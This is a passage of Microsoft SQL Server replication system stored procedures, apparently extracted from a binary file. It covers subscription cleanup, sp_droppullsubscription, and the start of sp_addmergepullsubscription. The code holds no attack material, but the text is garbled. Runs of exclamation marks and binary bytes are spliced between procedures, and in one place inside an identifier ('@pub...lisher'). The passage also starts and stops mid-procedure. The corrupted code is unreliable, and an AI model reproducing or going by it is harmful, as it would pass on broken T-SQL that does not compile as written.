    IF OBJECT_ID('dbo.MSreplication_subscriptions') IS NOT NULL
    BEGIN
        -- Drop the subscription as long as the publication name matches even if
        -- the publication is not independent agent
        -- This behaviour is expected by sp_droppullsubscription
        DELETE    dbo.MSreplication_subscriptions 
        WHERE    (
                    UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db = @publisher_db AND
                      -- independent_agent = @independent_agent and 
                      (
                          publication = @publication OR
                          (
                              @independent_agent = 0 AND
                              independent_agent = 0
                          ) 
                      )
                  )
           OR    @reserved = 'drop_all'
    END

    IF OBJECT_ID('MSsubscription_agents') IS NOT NULL
    BEGIN
        -- Drop the subscription as long as the publication name matches even if
        -- the publication is not independent agent
        -- This behaviour is expected by sp_droppullsubscription
        DELETE    dbo.MSsubscription_agents
        WHERE    (
                    UPPER(publisher) = UPPER(@publisher) AND
                    publisher_db = @publisher_db AND
                    (
                        publication = @publication OR
                        (
                            @independent_agent = 0 AND
                            publication = N'ALL'
                        )
                    )
                )
           OR    @reserved = 'drop_all'

        -- Delete the agent entry if no corresponding rows found in
        -- MSreplication_subscription table. This is to cleanup share agent entry.
        -- This behaviour is expected by sp_droppullsubscription
        IF OBJECT_ID('MSreplication_subscriptions') IS NOT NULL
        BEGIN
            IF NOT EXISTS
            (
                SELECT    *
                FROM    dbo.MSreplication_subscriptions
                WHERE    UPPER(publisher) = UPPER(@publisher) 
                  AND    publisher_db = @publisher_db
                  AND    independent_agent = 0
            )
            BEGIN
                DELETE    dbo.MSsubscription_agents
                WHERE    UPPER(publisher) = UPPER(@pub!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<9

*Ze!&lisher) 
                  AND    publisher_db = @publisher_db
                  AND    publication = N'ALL'
            END
        END
        ELSE
        BEGIN
            DELETE MSsubscription_agents
        END

		--cleanup queued tables only if there is no updateable subscriptions left
		if not exists(select * from MSsubscription_agents where update_mode > 0)
		begin
			IF OBJECT_ID('dbo.MSsubscription_articles') IS NOT NULL
			BEGIN
				--
				-- drop MSsubscription_articles if empty
				-- 
				IF NOT EXISTS
				(
				    SELECT    *
				    FROM    dbo.MSsubscription_articles
				)
				BEGIN
				    DROP TABLE dbo.MSsubscription_articles
				    IF @@ERROR != 0 
				    BEGIN
				        RETURN(1)
				    END
				END
			END

			IF OBJECT_ID('dbo.MSsubscription_articlecolumns') IS NOT NULL
			BEGIN
				--
				-- drop MSsubscription_articlecolumns if empty
				-- 
				IF NOT EXISTS
				(
				    SELECT    *
				    FROM    dbo.MSsubscription_articlecolumns
				)
				BEGIN
				    DROP TABLE dbo.MSsubscription_articlecolumns
				    IF @@ERROR != 0 
				    BEGIN
				        RETURN(1)
				    END
				END
			END
			IF OBJECT_ID('dbo.MSreplication_queue') IS NOT NULL
			BEGIN
				--
				-- drop MSreplication_queue if empty
				-- 
				IF NOT EXISTS
				(
				    SELECT    *
				    FROM    dbo.MSreplication_queue
				)
				BEGIN
				    DROP TABLE dbo.MSreplication_queue
				    IF @@ERROR != 0 
				    BEGIN
				        RETURN(1)
				    END
				END
			END
			IF OBJECT_ID('dbo.MSrepl_queuedtraninfo') IS NOT NULL
			BEGIN
				--
				-- drop MSrepl_queuedtraninfo if empty
				-- 
				IF NOT EXISTS
				(
				    SELECT    *
				    FROM    dbo.MSrepl_queuedtraninfo
				)
				BEGIN
				    DROP TABLE dbo.MSrepl_queuedtraninfo
				    IF @@ERROR != 0 
				    BEGIN
				        RETURN(1)
				    END
				END
			END
		end
    END
    
    IF OBJECT_ID('MSsubscription_properties') IS NOT NULL
    BEGIN
        DELETE    dbo.MSsubscription_properties 
        WHERE    (
                    UPPER(publisher) = UPPER(@publisher) AND
                    publisher_db = @publisher_db AND
                    publication = @publication
                ) 
           OR    @reserved = 'drop_all'
 
        IF @@ERROR <> 0 
        BEGIN
            RETURN(1)
        END
    END

    -- These three tables must be dropped together (see sp_helppullsubscription)
    DECLARE @MSrs_exists bit,   -- MSreplication_subscriptions exists
            @MSsa_exists bit,   -- MSsubscription_agents exists
            @MSsp_exists bit,   -- MSsubscription_properties exists
            @MSrs_empty  bit,   -- MSreplication_subscriptions empty
            @MSsa_empty  bit,   -- MSsubscription_agents empty
            @MSsp_empty  bit    -- MSsubscription_properties empty

    SELECT  @MSrs_exists = ISNULL(OBJECT_ID('MSreplication_subscriptions'), 0),
            @MSsa_exists = ISNULL(OBJECT_ID('MSsubscription_agents'), 0),
            @MSsp_exists = ISNULL(OBJECT_ID('MSsubscription_properties'), 0),
            @MSrs_empty  = 0,
            @MSsa_empty  = 0,
            @MSsp_empty  = 0
    
    IF @MSrs_exists = 1
    BEGIN
        IF NOT EXISTS (SELECT * FROM MSreplication_subscriptions)
            SELECT @MSrs_empty = 1
    END
    
    IF @MSsa_exists = 1
    BEGIN
        IF NOT EXISTS (SELECT * FROM MSsubscription_agents)
            SELECT @MSsa_empty = 1
    END

    IF @MSsp_exists = 1
    BEGIN
        IF NOT EXISTS (SELECT * FROM MSsubscription_properties)
            SELECT @MSsp_empty = 1
    END

    -- only attempt a drop if all the tables either do not exist or are empty
    IF  (@MSrs_exists = 0 OR @MSrs_empty = 1) AND
        (@MSsa_exists = 0 OR @MSsa_empty = 1) AND
        (@MSsp_exists = 0 OR @MSsp_empty = 1)
    BEGIN
        IF @MSrs_exists = 1
        BEGIN
            DROP TABLE MSreplication_subscriptions
            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END

        IF @MSsa_exists = 1
        BEGIN
            DROP TABLE MSsubscription_agents
            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END

        IF @MSsp_exists = 1
        BEGIN
            EXEC @retcode = sys.sp_MSsub_cleanup_prop_table
            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                RETURN(1)
            END
        END
    END
        
    EXEC @retcode = sys.sp_resetsnapshotdeliveryprogress @drop_table = N'true'
    IF @retcode <> 0 or @@error <> 0
    BEGIN
        RETURN(1)
    END

	-- only attempt to drop the p2p tables if the db is not 
	-- published. if the db is published then the remaining 
	-- p2p tables will be removed when publish is turned off
	--
	-- OR
	--
	-- If we are in drop_all mode then get rid of the P2P 
	-- tables. This should only be true for sp_removedbreplication
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),0) != 1
		OR @reserved = 'drop_all'
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_peertopeer_tables @from_backup = @from_backup
		IF @retcode <> 0 or @@error <> 0
	    BEGIN
			RETURN(1)
	    END	
	END

    -- Ignore errors.
    EXEC sys.sp_MSsub_cleanup_orphans

    EXEC sys.sp_dropreplsymmetrickey @check_replication = 1, @throw_error = 0
    
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Ѵv5create procedure sys.sp_droppullsubscription
(
    @publisher        sysname,
    @publisher_db    sysname = NULL,
    @publication    sysname,
    @reserved        bit = 0,
    @from_backup     bit = 0
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @name                        nvarchar(255)
    DECLARE @retcode                    int
    DECLARE @agent_id                    binary(16)
    DECLARE @job_step_uid				uniqueidentifier
    DECLARE @publisher_ex                sysname
    DECLARE @publisher_db_ex            sysname
    DECLARE @publication_ex                sysname
    DECLARE @expanded                    bit
    DECLARE @subscription_type_id        int
    DECLARE @count_sub                    int
    DECLARE @drop_null_pub                bit
    DECLARE @drop_push_bit                bit
    DECLARE @push                        int
    DECLARE @implicit_transaction        int
    DECLARE @close_cursor_at_commit        int
    DECLARE @owner_sid                    varbinary(85)
    DECLARE @owner_name                    sysname
    DECLARE @qualified_publication_name    nvarchar(512)
    DECLARE @publisherlinkusertodrop       sysname
    SELECT @expanded = 0
    SELECT @drop_null_pub = 0
    SELECT @push = 0

    -- Get the original set value off IMPLICIT_TRANSACTIONS and CURSOR_CLOSE_ON_COMMIT
    -- before set these two to off
    select @implicit_transaction = 0
    select @close_cursor_at_commit = 0

    IF (@reserved = 0)
    BEGIN
        SELECT @implicit_transaction = @@options & 2
        SELECT @close_cursor_at_commit = @@options & 4
        SET IMPLICIT_TRANSACTIONS OFF
        SET CURSOR_CLOSE_ON_COMMIT OFF
    END

    -- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    SELECT @drop_push_bit = 0   
    
    -- Check parameter and set expressions used by cursor
    
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_droppullsubscription')
        RETURN (1)
    END

    IF @publisher = 'all'
    BEGIN
        SELECT @publisher_ex = '%'
        SELECT @expanded = 1
    END
    ELSE
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @retcode <> 0
        RETURN (1)
        SELECT @publisher_ex = @publisher
    END

    IF @publisher_db = 'all'
    BEGIN
        SELECT @publisher_db_ex = '%'
        select @expanded = 1
    END
    ELSE IF @publisher_db IS NOT NULL
    BEGIN
        SELECT @publisher_db_ex = @publisher_db
    END
    ELSE
    BEGIN
        -- @publisher_db is NULL for Oracle publishers only
        SELECT    @publisher_db     = @publisher,
                @publisher_db_ex = @publisher
    END

    -- Publication '' is not a valid name but it may be in the publication name in the table. 
    IF @publication IS NULL OR @publication = ''
    BEGIN
        SELECT @drop_null_pub = 1
    END
    ELSE IF @publication = 'all'
    BEGIN
        SELECT @publication_ex = '%'
        SELECT @expanded = 1
        SELECT @drop_null_pub = 1
    END
    ELSE
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publication
        IF @retcode <> 0
        RETURN (1)
        SELECT @publication_ex = @publication
    END

    -- Check to see if the  subscription table exists
    IF object_id('MSreplication_subscriptions', 'U') is NULL
    BEGIN
        IF @expanded = 0
        BEGIN
            RAISERROR(14135, 11, -1,  @publisher, @publisher_db, @publication)
            RETURN(1)
        END
        ELSE
        BEGIN
            RETURN(0)
        END
    END

    IF @expanded = 0 
    BEGIN 
        -- Check to see if the subscription entry exists
        IF NOT EXISTS
        (
            SELECT    *
            FROM     MSreplication_subscriptions 
            WHERE    UPPER(publisher) = UPPER(@publisher)
              AND    publisher_db = @publisher_db
              AND    publication = @publication
        )
        BEGIN
            RAISERROR(14135, 11, -1, @publisher, @publisher_db, @publication)
            RETURN(1)
        END

        -- Make sure the subscription is not push type if @drop_push_bit = 0
        IF @drop_push_bit = 0
        BEGIN
            IF EXISTS
            (
                SELECT    *
                FROM    MSreplication_subscriptions 
                WHERE    UPPER(publisher) = UPPER(@publisher)
                  AND    publisher_db = @publisher_db
                  AND    publication = @publication
                  AND    subscription_type = @push
                  AND    @drop_push_bit = 0
            )
            BEGIN
                RAISERROR(20017, 16, -1)
                RETURN(1)
            END
        END
    END
    ELSE
    BEGIN
        -- Open a cursor and call recursively if
        -- parameters are expanded.
        -- Note: Any expression check on null value is false
        -- @subscription_type_id is NULL <==> push
        -- @subscription_type_id is NOT NULL <==> non push
        -- Have to use static cursor option because 
        DECLARE hCdroppullsubscription CURSOR STATIC LOCAL FORWARD_ONLY FOR
        SELECT DISTINCT    publisher,
                        publisher_db,
                        publication
        FROM    MSreplication_subscriptions
        WHERE    ((@publisher_ex = N'%') OR (UPPER(publisher) = UPPER(@publisher_ex)))
          AND    ((@publisher_db_ex = N'%') OR ( publisher_db = @publisher_db_ex))
          AND    (publication LIKE @publication_ex OR (@drop_null_pub = 1 AND publication IS NULL))
          AND    ((@drop_push_bit =0 AND subscription_type <> @push) OR @drop_push_bit = 1)
        FOR READ ONLY
        
        OPEN    hCdroppullsubscription
        FETCH    hCdroppullsubscription
        INTO    @publisher,
                @publisher_db,
                @publication

        WHILE (@@fetch_status <> -1)
        BEGIN
            EXEC @retcode =    sys.sp_droppullsubscription    @publisher        = @publisher, 
                                                        @publisher_db    = @publisher_db,
                                                        @publication    = @publication, 
                                                        @reserved        = 1,
                                                        @from_backup    = @from_backup

            FETCH    hCdroppullsubscription
            INTO    @publisher, 
                    @publisher_db,
                    @publication
        END

        CLOSE hCdroppullsubscription
        DEALLOCATE hCdroppullsubscription

        RETURN (0)
    END
    
    -- Only members of the sysadmin group and the creator of the distribution
    -- agent can drop a pull subscription successfully. This behavior matches 
    -- the behavior of the sysjobs_view. DBO of the subscriber database, 
    -- sysadmins (owner is undefined) can drop a subscription if the owner_sid 
    -- is null.
    EXEC sys.sp_MSget_pullsubsagent_owner @publisher    = @publisher,
                                          @publisher_db    = @publisher_db,
                                          @publication    = @publication,
                                          @owner_sid    = @owner_sid OUTPUT

    IF (@owner_sid IS NOT null AND (SUSER_SID() <> @owner_sid) AND
        (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0))
    BEGIN
        SELECT @owner_name = SUSER_SNAME(@owner_sid)
        SELECT @qualified_publication_name = @publisher + N':' + 
                                             @publisher_db + N':' +
                                             @publication

        RAISERROR(21121,16,-1,@owner_name, @qualified_publication_name) 

        RETURN (1)
    END

    -- Get the agent name, it may be dropped later.
    -- Adding condition 'agent_id IS NOT NULL' to WHERE clause to handle!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<|˖5 
    -- NULL agent_id entries that are added when Subscription Stream is used.
    SELECT @agent_id = agent_id
    FROM    MSreplication_subscriptions
    WHERE    UPPER(publisher) = UPPER(@publisher)
      AND    publisher_db = @publisher_db
      AND    publication = @publication 
      AND    agent_id IS NOT NULL

	SELECT @job_step_uid = job_step_uid
    FROM MSsubscription_properties
    WHERE UPPER(publisher) = UPPER(@publisher)
       AND publisher_db = @publisher_db
       AND publication = @publication
       AND publication_type IN (0, 1)
       
    -- If the agent is used by other subscription, don't drop it.
    IF (SELECT count(*) FROM MSreplication_subscriptions WHERE agent_id = @agent_id) > 1
    BEGIN
        SELECT @agent_id = NULL
    END

    -- Unlink the publisher from subscription (updating subscriptions)
    -- Need to do this outside explicit transaction
    set @publisherlinkusertodrop = null
    exec @retcode = sys.sp_unlink_publication_internal 
        @publisher = @publisher
        ,@publisher_db = @publisher_db
        ,@publication = @publication
        ,@publisherlinkusertodrop = @publisherlinkusertodrop OUTPUT
    if (@retcode != 0 or @@error != 0)
        return (1)

    BEGIN TRAN
    SAVE TRAN droppullsubscription

    -- Drop the subscription entry and the distribution agent if it exists 
    -- If the distribution agent is not used anymore,
    -- drop the agent if it exists
    IF @agent_id IS NOT NULL
    BEGIN
        IF EXISTS
        (
            SELECT    *
            FROM    msdb.dbo.sysjobs_view
            WHERE    job_id = @agent_id
        )
        BEGIN
            -- Checks if the job name matches one that is generated
            -- by replication
            EXEC @retcode = sys.sp_MSispulldistributionjobnamegenerated @publisher		= @publisher,
                                                                        @publisher_db   = @publisher_db,
                                                                        @publication    = @publication,
                                                                        @job_id         = @agent_id

            IF @@ERROR <> 0
            BEGIN
                GOTO UNDO
            END

            -- Only drop jobs if the name was generated
            IF @retcode = 0
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @agent_id,
                										@job_step_uid = @job_step_uid

                IF @@ERROR <> 0 or @retcode <> 0
                BEGIN
                    GOTO UNDO
                END

                -- Delete MSreplication_subsciptions table after dropping 
                -- the distribution agent and delay one second
                -- to avoid deadlock with it.
                WAITFOR DELAY '00:00:01'
            END
        END

    END

    -- Call sp_MSunregistersubscription so that the reg entries get deleted
    DECLARE @subscriber_db sysname
    SET @subscriber_db = DB_NAME()

    EXEC @retcode =    sys.sp_MSunregistersubscription    @publisher        = @publisher,
                                                    @publisher_db    = @publisher_db,
                                                    @publication    = @publication,
                                                    @subscriber        = @@SERVERNAME,
                                                    @subscriber_db    = @subscriber_db

    IF @retcode != 0 OR @@ERROR != 0
    BEGIN
        GOTO UNDO
    END
    
    IF OBJECT_ID('MSsubscription_properties') IS NOT NULL
    BEGIN
        DELETE FROM MSsubscription_properties 
        WHERE    UPPER(publisher) = UPPER(@publisher)
          AND    publisher_db = @publisher_db
          AND    publication = @publication 

        IF @@ERROR <> 0
        BEGIN
            GOTO UNDO
        END

        IF NOT EXISTS (SELECT * FROM MSsubscription_properties)
        BEGIN
            exec @retcode = sys.sp_MSsub_cleanup_prop_table

            IF @@ERROR <> 0 OR @retcode <> 0
               BEGIN
                GOTO UNDO
            END
        END
    END
    
    -- Clean up metadata at subscriber side
    -- Note: sp_subscription_cleanup should be called after deleting the row
    -- in MSreplication_subscriptions.
    exec @retcode = sys.sp_subscription_cleanup    @publisher        = @publisher,
                                                @publisher_db    = @publisher_db,
                                                @publication    = @publication,
                                                @from_backup    = @from_backup

    IF @retcode<>0 OR @@ERROR<>0
    BEGIN
        GOTO UNDO
    END

    --
    -- drop table MSreplication_subscriptions if empty and
    -- not in recursive call
    --
    IF OBJECT_ID('MSreplication_subscriptions') IS NOT NULL
    BEGIN
        IF (@reserved = 0 AND NOT EXISTS (SELECT * FROM MSreplication_subscriptions))
        BEGIN
            DROP TABLE MSreplication_subscriptions

            IF @@ERROR <> 0
            BEGIN
                GOTO UNDO
            END
        END
    END

    COMMIT TRAN

    if @publisherlinkusertodrop is not null
    begin
        exec @retcode = sys.sp_dropuser @name_in_db = @publisherlinkusertodrop
        if @@error <> 0 or @retcode <> 0
            return (1)        
    end

    -- Set back the two settings if needed 
    if @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    RETURN (0)

UNDO:
    IF @@TRANCOUNT > 0
    BEGIN
        ROLLBACK TRAN droppullsubscription
        COMMIT TRAN   
    END

    -- Set back the two settings if needed
    if @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END

    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
sDD
v 
create procedure sys.sp_addmergepullsubscription (
    @publication             sysname,                      /* Publication name */
    @publisher                sysname = NULL,      /* Publisher server */
    @publisher_db            sysname = NULL,              /* Publication database */
    @subscriber_type         nvarchar(15) = 'local',        /* Subscriber type global, local, anonymous, lightweight */ 
    @subscription_priority     real         = NULL,            /* Subscription priority */
    @sync_type                 nvarchar(15) = 'automatic', /* subscription sync type */
    @description             nvarchar(255) = NULL
) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode                int
    declare    @subscriber_db            sysname
    declare @pubnickname            binary(6)
    declare @subnickname            binary(6)
    declare @subscriber                sysname
    declare @priority                 real
    declare @subid                     uniqueidentifier
    declare @subscriber_typeid         smallint
    declare @subscription_typeid     smallint
    declare @command                 nvarchar(255)
    declare @inactive                tinyint 
    declare @global                 tinyint        /* subscriber type is global */
    declare @push                     tinyint        /* subscription type is push */
     
    declare @sync_typeid             tinyint
    declare @nosync                 tinyint        
    declare @automatic                tinyint             
    declare @pubid                    uniqueidentifier             
    declare @parentid               uniqueidentifier
    declare @backward_comp_level    int

    SET @nosync             = 2       /* Const: synchronization type 'none' */
    SET @automatic             = 1       /* Const: synchronization type 'automatic' */
    SET @inactive             = 0
    SET @global             = 1
    SET @push                 = 0   

    set @pubid                 = newid()
    set @parentid            = '00000000-0000-0000-0000-000000000000'

    /* 
    ** Check if replication components are installed on this server
    */
    exec @retcode = sys.sp_MS_replication_installed
    if (@retcode <> 1)
    begin
        return (1)
    end
	
	if @publisher is null
		set @publisher = publishingservername()
    /*
    ** Security Check.
    */

    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Assign parameter values appropriately for the local server database
    */
    set @subscriber_db = DB_NAME()
    select @subscriber = @@SERVERNAME
    --
    -- @subscriber_db cannot be master
    --
    if LOWER(@subscriber_db) = 'master'
    BEGIN
        RAISERROR (21481, 16, 1)
        RETURN (1)
    END


    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_addmergepullsubscription')
        RETURN (1)
    END

    IF LOWER(@publisher) = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END
    
    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher_db', 'sp_addmergepullsubscription')
        RETURN (1)
    END

    IF LOWER(@publisher_db) = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END


   /*
   ** Parameter Check: @sync_type.
   ** Set sync_typeid based on the @sync_type specified.
   **
   **   sync_typeid     sync_type
   **   ===========     =========
   **             1     automatic
   **             2     none
   */

   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('automatic', 'none')
   BEGIN
       RAISERROR (14052, 16, -1)
       RETURN (1)
   END


   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) = 'automatic'
   BEGIN
        SET @sync_typeid = @automatic
   END
   ELSE
   BEGIN
        SET @sync_typeid = @nosync
   END

    /*
    ** Parameter Check: @subscriber_type.
    ** Set subscriber_typeid based on the @subscriber_type specified.
    **
    **   subscriber_type     subscriber_type
    **   =================    ===============
    **             1             global
    **             2             local
    **             3             anonymous
    **             4            lightweight
    */
    -- this really combines subscriber type and subscription type
    if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('local', 'global', 'anonymous', 'lightweight')
    BEGIN
          RAISERROR (20023, 16, -1)
        RETURN (1)
    END
       
    set @subscription_typeid = 1 /* pull by default */
    if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('global')
        set @subscriber_typeid = 1
    else if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('local')
        set @subscriber_typeid = 2
    else if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('anonymous')
    begin
        set @subscriber_typeid = 3
        set @subscription_typeid = 2
    end
    else if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('lightweight')
    begin
        set @subscriber_typeid = 3
        set @subscription_typeid = 3
    end

    /*
    **    Check to see if merge system tables exist. Create them unless they already
    **  exist.
    */
    IF object_id('sysmergesubscriptions', 'U') is NULL
    BEGIN
        if @subscription_typeid = 3
        begin
            execute @retcode = sys.sp_MScreate_mergesystables @whattocreate=2
        end
        else
        begin
            execute @retcode = sys.sp_MScreate_mergesystables @whattocreate=1
        end
        if @@ERROR <> 0 or @retcode <> 0 return (1)
    END

    if exists (select pubid from dbo.sysmergepublications where UPPER(publisher) = UPPER(publishingservername()) and publisher_db=db_name()) and @subscriber_type in ('local', 'anonymous', 'lightweight')
    begin
        declare @dbname sysname
        select @dbname = DB_NAME()
        raiserror(21258, 16, -1, @dbname)
        return (1)
    end

    select @backward_comp_level= sys.fn_MSgetmaxbackcompatlevel ()
    if @backward_comp_level > 100
        set @backward_comp_level = 100

    if @subscription_typeid = 3 -- lightweight
        set @backward_comp_level = 90

    -- we will default the backward_comp_level to 90 for beta 1 to be in sync with the default 90 changes in addmergepublication
    if not exists (select name from dbo.sysmergepublications)
        set @backward_comp_level = 90
        
    /* 
    ** When adding a pull subscription, if a push subscription for that publication already exists, 
    ** we will raise error and fail
    */
    IF EXISTS (select name from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db)
    BEGIN
        select @pubid=pubid from dbo.sysmergepublications 
            where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db
        IF EXISTS (select subid from dbo.sysmergesubscriptions 
                    where pubid=@pubid and subid<>@pubid and subscription_type=0 and
                    db_name = @subscriber_db and UPPER(subscriber_server) = UPPER(@subscriber))
        begin
            RAISERROR (21317, 16, -1, @publication)
            return (1)
        end

        IF EXISTS (select subid from dbo.sysmergesubscriptions 
                    where pubid=@pubid and db_name = @subscriber_db and 
                          UPPER(subscriber_server) = UPPER(@subscriber) and 
                          subid<>@pubid and status<>2)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<{s6y
        begin
            RAISERROR (14058, 16, -1)
            return (1)
        end
        
        IF EXISTS (select status from dbo.sysmergesubscriptions where pubid=@pubid and status =    2)
        begin
            delete dbo.MSmerge_replinfo where repid in 
                (select subid from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid)
            delete from dbo.sysmergesubscriptions where pubid=@pubid
            delete from dbo.MSmerge_supportability_settings where pubid=@pubid
            delete from dbo.MSmerge_log_files where pubid=@pubid
            exec sys.sp_MScleanup_subscriber_history
        end
    END

    EXECUTE @retcode = sys.sp_validname @publisher
    IF @@ERROR <> 0 OR @retcode <> 0 RETURN (1)


    if UPPER(@publisher) = UPPER(publishingservername()) and @publisher_db = db_name()
    begin
        raiserror(21126, 16, -1)
        return (1)
    end


    /*
    ** Check to see if the publication name is already used in the subscription 
    ** database - This is the case where we are resubscribing to the same publication.
    ** Execute dbo.sp_MSpublicationcleanup to cleanup all all the defunct rows

    ** if exists (select * from dbo.sysmergepublications where name = @publication)
    ** begin
    **    exec @retcode = dbo.sp_MSpublicationcleanup 
    **    IF @@ERROR <> 0 OR @retcode <> 0
    **    BEGIN
    **            RAISERROR (20025, 16, -1, @publication)
    **            RETURN (1)
    **      END        
    ** end
    */

    /* 
    ** Assign priority appropriately - choose 0.99 times the minimum priority
    ** of the global replicas.
    */
    if (@subscription_priority > 100.0 or @subscription_priority < 0.0)
        set @subscription_priority = NULL        

    if (@subscription_priority IS NULL)
    begin
        select @priority = 0.99 * min(priority) from dbo.sysmergesubscriptions where subscriber_type  = 1 /* global/loopback */
        if (@priority IS NOT NULL)
            select @subscription_priority = @priority
        if (@subscription_priority IS NULL) 
            select @subscription_priority = 0.0
    end

    /*
    ** For local and anonymous subscriptions the priority is 0.0
    */
    if @subscriber_typeid = 2 or @subscriber_typeid = 3
        select @subscription_priority = 0.0


    /*
    ** UNDONE: Validate that the publisher is of type 'republisher'
    */
    begin tran
    save TRAN addmergepullsubscription

    /* Generate a guid for the Subscriber ID */
    set @subid = newid()

    /* Look for existing nickname from any other subscription */
    exec sys.sp_MSgetreplnick NULL, NULL , NULL,  @subnickname out
    if (@@error <> 0) 
    begin
        goto FAILURE
    end                 

    /* Generate a new replica nickname from the @subid */
    if (@subnickname is null)
        EXECUTE sys.sp_MSgenreplnickname 
                        @srcguid= @subid, 
                        @replnick= @subnickname output, 
                        @compatlevel= @backward_comp_level

    /* 
    ** Check to see if MSsubscription_properties table exists.
    ** If not, create it.
    */
    exec @retcode = sys.sp_MScreate_sub_tables_internal
        @tran_sub_table = 0,
        @property_table = 1,
        @sqlqueue_table = 0

    IF @@ERROR <> 0 or @retcode <> 0
        goto FAILURE

    /*
    ** The subscription doesn't exist, so let's add it to dbo.sysmergesubscriptions 
    */
    INSERT dbo.sysmergesubscriptions (subscriber_server, db_name, pubid, datasource_type,
            subid, replnickname, replicastate, status, subscriber_type, subscription_type,
            sync_type, description, priority, replica_version)
